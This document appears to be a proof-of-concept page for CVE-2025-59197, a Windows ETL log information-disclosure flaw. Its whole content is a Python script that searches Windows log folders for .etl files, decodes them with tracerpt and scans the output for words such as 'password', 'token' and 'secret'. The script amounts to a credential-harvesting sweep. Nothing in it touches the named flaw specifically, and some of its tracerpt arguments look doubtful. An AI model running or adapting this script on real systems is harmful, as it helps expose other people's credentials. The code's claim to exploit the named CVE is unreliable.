CVE-2025-59197 Windows ETL通道日志信息泄露漏洞

# CVE-2025-59197 - Windows ETL Channel Information Disclosure PoC # This PoC demonstrates how to locate and read ETL log files that may contain sensitive information import os import subprocess import glob def find_etl_log_files(): """Search for ETL log files in common Windows locations""" etl_paths = [ os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'System32\\LogFiles'), os.path.join(os.environ.get('ProgramData', 'C:\\ProgramData'), 'Microsoft'), os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'Logs'), os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'System32\\wbem\\Logs'), ] etl_files = [] for path in etl_paths: if os.path.exists(path): pattern = os.path.join(path, '**', '*.etl') etl_files.extend(glob.glob(pattern, recursive=True)) return etl_files def read_etl_log(etl_path): """Attempt to read ETL log file contents using xperf or tracerpt""" try: # Use tracerpt to convert ETL to text format result = subprocess.run( ['tracerpt', etl_path, '-o', '-', '-report'], capture_output=True, text=True, timeout=30 ) return result.stdout except (subprocess.TimeoutExpired, FileNotFoundError): return None def search_sensitive_info(log_content): """Search for sensitive patterns in log content""" sensitive_patterns = [ 'password', 'credential', 'token', 'secret', 'key=', 'auth=', 'login=', 'session=' ] findings = [] if log_content: for pattern in sensitive_patterns: if pattern.lower() in log_content.lower(): findings.append(pattern) return findings if __name__ == '__main__': print("[*] Searching for ETL log files...") etl_files = find_etl_log_files() print(f"[*] Found {len(etl_files)} ETL log files") for etl_file in etl_files: print(f"\n[*] Analyzing: {etl_file}") content = read_etl_log(etl_file) if content: sensitive = search_sensitive_info(content) if sensitive: print(f"[!] Sensitive patterns found: {sensitive}") print(f"[!] Potential information disclosure in {etl_file}")